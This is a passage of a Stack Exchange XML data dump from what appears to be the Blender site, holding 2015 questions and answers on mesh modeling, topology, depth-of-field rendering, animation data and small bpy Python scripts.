modifier&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you have duplicate vertexes (the one selected, the second and third ones from up and the one at the boundary between the foot and the upper part of the glass). You can spot them when they break smoothing and by looking at the surrounding edges. If you select only one of the pair of vertexes as shown below, the edge starting from the other one (here the edge that goes down) doesen't get a gradient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/stdqX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/stdqX.png&quot; alt=&quot;Glitches with double vertex smoothing&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They can do all kinds of evil (though they may sometimes be used to guide subdivision). If you try smoothing the mesh in this scene, it looks weird. You can fix this by selecting all vertexes and doing W &gt; Remove doubles. It looks like this when fixed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xFIkk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xFIkk.png&quot; alt=&quot;Removed double vertex&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helped.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastActivityDate="2015-08-11T09:38:36.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35486" PostTypeId="2" ParentId="35481" CreationDate="2015-08-11T09:41:41.763" Score="0" Body="&lt;p&gt;You could also click on the vertex you want the object to spin around. Then &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; --&gt; cursor to selected. And then use the spin tool&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-08-11T10:00:55.863" LastActivityDate="2015-08-11T10:00:55.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35488" PostTypeId="1" AcceptedAnswerId="35510" CreationDate="2015-08-11T10:19:14.937" Score="1" ViewCount="298" Body="&lt;p&gt;I'm trying to use blender render and the defocus node to shift focus over the course of a scene (by moving the empty around). This works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red bits in this image are out of focus, since the empty is way behind them:&#xA;(image removed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this next image, the red bits are only out of focus where they do not overlap with the structures in the background... why?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xU0cV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xU0cV.png&quot; alt=&quot;red bits should look like they do in the above image...&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped. Anyone have a suggestion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Andrew&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Here's my node editor view (had to remove one of the other images due to lack of &quot;reputation&quot;):&#xA;(image removed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2: 3D View&#xA;(image removed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit3: Cycles renders&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FDM3S.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FDM3S.jpg&quot; alt=&quot;cycles render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16328" LastEditorUserId="16328" LastEditDate="2015-08-11T19:10:47.760" LastActivityDate="2015-08-11T19:10:47.760" Title="DoF works only sometimes in blender render" Tags="&lt;blender-internal-render-engine&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35489" PostTypeId="1" AcceptedAnswerId="35490" CreationDate="2015-08-11T11:08:43.113" Score="5" ViewCount="669" Body="&lt;p&gt;I'm modeling a medieval stand. It's my first model so I'm having a doubt in terms of topology of the model. Which is the best way? split the column faces in two and avoid having a n-gon at the top face of the column or leave it be and retain the n-gon. Is it worth it to add 4 new faces to remove the n-gon? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Wd6f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Wd6f.png&quot; alt=&quot;Medieval Stand Collumn&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Inserted the full model image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cQmB7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQmB7.png&quot; alt=&quot;Medieval Stand&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16329" LastEditorUserId="16329" LastEditDate="2015-08-11T18:53:00.830" LastActivityDate="2016-02-05T03:20:38.623" Title="What's the best way to topologize this?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35490" PostTypeId="2" ParentId="35489" CreationDate="2015-08-11T11:25:55.053" Score="5" Body="&lt;p&gt;I think that there is not an absolute &quot;Best&quot; way to make it.&#xA;It depends on what's you goal.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you are want to &lt;strong&gt;render only&lt;/strong&gt; this simple geometry,&#xA;&lt;strong&gt;ngons&lt;/strong&gt; are ok while they keep being planar.&lt;/li&gt;&#xA;&lt;li&gt;If this is only the starting point from a more complex geometry,&#xA;maybe is better to mantain a &lt;strong&gt;quad&lt;/strong&gt;-only topology to &lt;strong&gt;help future&#xA;modeling&lt;/strong&gt;...or maybe not,... it depends! What's sure is that quads are the only way to take advance of the edgeloops, which usually makes the model easier to handle.&lt;/li&gt;&#xA;&lt;li&gt;If you are going to add a &lt;strong&gt;subdivision surface&lt;/strong&gt; modifier to smooth the&#xA;surface, you definetely nedd a &lt;strong&gt;quad-only&lt;/strong&gt; mesh to have easily user-predictable results&lt;/li&gt;&#xA;&lt;li&gt;If you are making a &lt;strong&gt;game asset&lt;/strong&gt; you'll probably will look for the&#xA;lesser amount of polygons, so some quads may should be switch to&#xA;&lt;strong&gt;tris&lt;/strong&gt;...&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to &lt;strong&gt;deform&lt;/strong&gt; an object for an animation, you'll probably need a &lt;strong&gt;high density quad&lt;/strong&gt; base topology for the interested parts in order to avoid streching&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the end, the topology strategy strictly depends on what you are developing meshes for and how.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2016-02-05T03:20:38.623" LastActivityDate="2016-02-05T03:20:38.623" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35491" PostTypeId="1" AcceptedAnswerId="35492" CreationDate="2015-08-11T11:41:38.873" Score="4" ViewCount="834" Body="&lt;p&gt;I got an animation, deleted all the keyframes, no fake user and it is still there.&#xA;Went to dope sheet and F-Curve editor, checked the ghost icon, still there are no keyframes.&#xA;I got little knowledge of how material or animation data is linked to a user and when it is linked to nothing it will be erased automatically.&#xA;The animation seems to be linked to nothing yet it won't be erased.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get rid of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I found out that the animation is saved in the action stash of the armature. Still googling.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="11484" LastEditDate="2015-08-11T11:48:19.830" LastActivityDate="2015-08-11T11:58:43.090" Title="Delete animation" Tags="&lt;animation&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35492" PostTypeId="2" ParentId="35491" CreationDate="2015-08-11T11:58:43.090" Score="1" Body="&lt;p&gt;Ok I found it out... kind of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The animations were saved as NLA tracks in action stashes and you can delete them in the NLA editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont really know how much of the above is complete bs, it can be quite confusing, if someone would like to share his expertise and explain the issue correctly please do so.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2015-08-11T11:58:43.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35493" PostTypeId="1" CreationDate="2015-08-11T12:11:12.997" Score="2" ViewCount="44" Body="&lt;p&gt;I would like to ask if there is any way to change the number of snapping points in 'Slide Vertex' that is enabled when holding &lt;kbd&gt;Ctrl&lt;/kbd&gt;? I think I have seen tutorial years ago but I cannot recall it now (or maybe it was Maya).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GwGpB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GwGpB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16330" LastEditorUserId="241" LastEditDate="2015-08-11T12:22:39.003" LastActivityDate="2015-08-11T13:16:32.297" Title="How can I change the number of snapping points 'Slide Vertex' uses?" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35494" PostTypeId="1" CreationDate="2015-08-11T12:22:31.183" Score="1" ViewCount="40" Body="&lt;p&gt;so I was watching a tutorial for making a hard surface airplane, only after a long time did I notice the presenter was selecting the edge loop, pressing alt then dragging it, which apparently is different than just dragging it.  so now my model is more jaggy. Can I reapply that effect to a loop?&lt;/p&gt;&#xA;" OwnerUserId="16033" LastActivityDate="2015-08-11T12:22:31.183" Title="I didn't press Alt to smooth when creating edge loops is this fixable?" Tags="&lt;edges&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35495" PostTypeId="1" CreationDate="2015-08-11T12:52:39.653" Score="1" ViewCount="26" Body="&lt;p&gt;I need to create a complex geometry at one place on my model,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZoUPF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZoUPF.png&quot; alt=&quot;model&amp;#39;s topology&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I would &lt;em&gt;not&lt;/em&gt; use the &lt;em&gt;knife&lt;/em&gt; tool I would add loop cuts but it doesn't let me to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UV1aU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UV1aU.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/A8vYW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A8vYW.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already deleted the faces and created them again but even when I think that the topology of this certain place is alright I still cant't add a single loop throughout all the tube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So my Question is: Why is this happening and what would be the best thing for me to do?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="2217" LastEditDate="2015-08-16T22:25:26.667" LastActivityDate="2015-08-16T22:25:26.667" Title="How would I add a loop cut here" Tags="&lt;modeling&gt;&lt;topology&gt;&lt;geometry&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-11T13:10:30.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="35497" PostTypeId="2" ParentId="35493" CreationDate="2015-08-11T13:09:54.167" Score="4" Body="&lt;p&gt;Press &lt;kbd&gt;G&lt;/kbd&gt; twice to slide a vertex and then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;. It will allow you to snap a vertex very precisely.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KtvKy.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KtvKy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, after pressing &lt;kbd&gt;G&lt;/kbd&gt; twice, you can move a vertex inputting a value from your numerical keyboard.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6tKIS.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6tKIS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-11T13:16:32.297" LastActivityDate="2015-08-11T13:16:32.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35499" PostTypeId="1" CreationDate="2015-08-11T13:11:58.493" Score="2" ViewCount="456" Body="&lt;p&gt;The last state of my unsuccessful attempts has been the attached code sample.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;bm.faces.ensure_lookup_table()&#xA;for face in bm.faces:&#xA;    face.select_set(True)&#xA;    if bpy.ops.uv.smart_project.poll():&#xA;        bpy.ops.uv.smart_project()&#xA;    face.select_set(False)&#xA;    bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will lead to an error &quot;ReferenceError: BMesh data of type BMFace has been removed&quot;. Replacing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;face.select_set(False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.select_all(action = 'DESELECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;leads to a Blender crash.&lt;/p&gt;&#xA;" OwnerUserId="16302" LastActivityDate="2015-08-11T13:11:58.493" Title="How can I execute the uv smart project operator per polygon or face of a mesh in python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35500" PostTypeId="1" CreationDate="2015-08-11T13:25:09.883" Score="2" ViewCount="44" Body="&lt;p&gt;I want to swing this triangle around on that green axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/i2Iul.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i2Iul.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or some way of accomplishing the same thing.  I just need to flip the triangle on its longest side.  as you can see me attempting to do in this gif animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QnbZw.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QnbZw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found a way of doing it without distorting the shape of the triangle.&#xA;and I don't want to just eyeball it by trying to pull the corner into place.&#xA;I want it to be exactly the way it was only flipped.&lt;/p&gt;&#xA;" OwnerUserId="16313" LastActivityDate="2015-08-11T13:25:09.883" Title="How to rotate an object by a special axis, without changing the shape" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-11T13:38:34.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="35502" PostTypeId="1" CreationDate="2015-08-11T13:37:39.490" Score="3" ViewCount="701" Body="&lt;p&gt;I was wondering if it is better or not to use loop cuts on a mesh when they are not really necessary to the shape of the mesh while using a subsurf modifier to make the spaces between each vertex approximately even, and to make the model smoother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example: on this sword I'm modelling, there is quite a big gap on the blade without loop cuts because I don't need them for the shape of the blade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/4Ut9yXQ.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I use those loop cuts to make the model cleaner or can I leave it as it is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="16331" LastActivityDate="2015-12-09T16:42:00.150" Title="Using loop cuts to smooth out a mesh" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35503" PostTypeId="1" AcceptedAnswerId="35525" CreationDate="2015-08-11T13:45:17.917" Score="1" ViewCount="481" Body="&lt;p&gt;I want to be able to move the child object to any known position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find below an example:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RP3Ju.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RP3Ju.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Child&quot; object must be in this exact position (-2,3,4) with no offset.&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="6426" LastEditDate="2015-08-11T15:06:38.740" LastActivityDate="2015-08-11T18:41:14.207" Title="How can I move a child object to a target position using python?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35504" PostTypeId="1" AcceptedAnswerId="35527" CreationDate="2015-08-11T14:05:03.117" Score="4" ViewCount="2445" Body="&lt;p&gt;I know that it's possible to display metadata in the Image Editor, but I need to access this info from Python, eg. in the form of a dictionary; is that possible at the moment?&#xA;If not, is there a specification for the way this metadata is stored?&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2020-02-22T16:58:55.140" Title="Read image metadata from Python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35505" PostTypeId="2" ParentId="35503" CreationDate="2015-08-11T14:13:25.513" Score="0" Body="&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects[&quot;Child&quot;].matrix_local = bpy.context.scene.objects[&quot;New Loc&quot;].matrix_world&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that what you're looking for ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : this will affect to your child object the same matrix as the target, including rotation/scale...&lt;/p&gt;&#xA;" OwnerUserId="4925" LastActivityDate="2015-08-11T14:13:25.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35506" PostTypeId="2" ParentId="35466" CreationDate="2015-08-11T14:24:12.297" Score="1" Body="&lt;p&gt;If you simply want to batch-modify physics values on objects, you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    if obj.game.physics_type == 'SOFT_BODY':&#xA;        obj.game.soft_body.linear_stiffness += 0.1 #or whatever other operation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not really familiar with the BGE, though.&lt;/p&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2015-08-11T14:24:12.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35507" PostTypeId="1" CreationDate="2015-08-11T14:29:08.700" Score="1" ViewCount="265" Body="&lt;p&gt;I want to model a pointy mesh but I don't know what the right method is, because I have tried multiple of them and they doesn't seem right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to do it by linking every vertex to a single vertex at the tip.&#xA;The problem with that is that I won't be able to use a loop cut to sharpen the edges if I want to use a subsurf modifier after that, since I believe it doesn't work with triangles.&#xA;&lt;img src=&quot;https://i.imgur.com/BOIpDtG.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I tried to do it with four vertex linked in a same position and individually linked to the four others vertex of the mesh.&#xA;I'm wondering if this is a clean way to do it because those four vertex are not really necessary, if it is to place the loop cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with that tho is that when I work with a mirror modifier on the X and Y axis, there will always be a hole in the middle (invisible when shrinked) since I can only link three vertex. Is that a problem ?&#xA;&lt;img src=&quot;https://i.imgur.com/FnezEmr.png&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="16331" LastEditorUserId="16331" LastEditDate="2015-08-11T14:34:47.840" LastActivityDate="2015-08-11T16:02:32.907" Title="Modeling a pointy mesh" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35508" PostTypeId="2" ParentId="35502" CreationDate="2015-08-11T14:37:25.053" Score="3" Body="&lt;p&gt;Don't add polygons for the sake of having more polygons, you are looking for a special shape. So would do better having a really simple shape to start with, bevel the edges that you want to be sharp and then apply a subsurface modifier. Add loopcuts afterwards if you need more details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AaMPm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AaMPm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13343" LastActivityDate="2015-08-11T14:37:25.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35509" PostTypeId="2" ParentId="35507" CreationDate="2015-08-11T15:06:49.550" Score="1" Body="&lt;p&gt;What you need is to add one vertex that is in the center of the mirror symmetry, and probably turn the clipping of the mirror on.&#xA;If you bevel the main edges of your mesh and add a subsurface modifier you will get this&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jGdAQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jGdAQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with no hole in the center .... &#xA;&lt;a href=&quot;https://i.stack.imgur.com/DEA8f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DEA8f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13343" LastActivityDate="2015-08-11T15:06:49.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35510" PostTypeId="2" ParentId="35488" CreationDate="2015-08-11T15:33:46.143" Score="1" Body="&lt;p&gt;&lt;em&gt;I'm not able to answer your question properly, but I would post some thought about it anyway...maybe they can help.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Z-depth is a pass that stores the height information about what the camera sees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fsHlD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fsHlD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pass can be used to &lt;strong&gt;fake&lt;/strong&gt; a lens blur effect. What has the empty's same z-value is in focus, while the other object are blurred. I might be wrong, but I think that the defocus node does not consider wich face is in front of another, but set only the amount of blur by the face z-depth&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5FaoC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5FaoC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the image above, the grey grid is the background. It has no geometry, so it has no-z informations. When the red square is blurred onto, it has no issue, there is nothing behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the red square is upon the white rectangle, which is a face, and has z-info, there is a conflict in the contended area. The border pixel of the square must be blurred, so they should go upon the white square, but at the same time, that pixel should be white and in-focus, so the blur is not visible anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/itIXR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/itIXR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MlAo3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MlAo3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to avoid this difference on the border blur is to remove the background from the view by adding a plane behind the white rectangles. You could also achieva a similar result by tweaking z-depth channel with nodes... But while we have obtain a consistent behaviour, I think that is not probably the desired one.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;What you probably want is a blurred image upon a not blurred one. One way could be to separate objects in different scene, apply the node only to the geometry you know above and than mix them with alpha over node. But this is &lt;strong&gt;not&lt;/strong&gt; a &lt;strong&gt;good&lt;/strong&gt; solution for an &lt;strong&gt;animation&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DGAXr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DGAXr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A second option could be to switch to Cycles render. With his path tracing abilities, you don't need to fake the lens effect, but you can obtain a physically belivable behaviour, at the cost of &lt;strong&gt;longer&lt;/strong&gt; render times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G146D.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G146D.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-11T15:33:46.143" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35512" PostTypeId="1" AcceptedAnswerId="35514" CreationDate="2015-08-11T15:46:00.073" Score="3" ViewCount="854" Body="&lt;p&gt;I am doing this tutorial to make a wine glass with the spin tool. After applying the spin tool, a subdivision surface modifier and the solidify modifier my glass looks like in the image. Somehow I did something wrong resulting in a &quot;crack&quot; in my wine glass. When I did this process again I am sure that I set the spin tool at 36 steps and 360 degrees. What did i forget ? Hope I did not ask a question that what was already answered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BM6x4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BM6x4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/xwr1nvkz2wq5b7u/appetizer-series.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; is the blender file&lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="13877" LastEditDate="2015-08-11T15:57:23.393" LastActivityDate="2015-08-11T16:24:45.830" Title="Crack in my wine glass" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
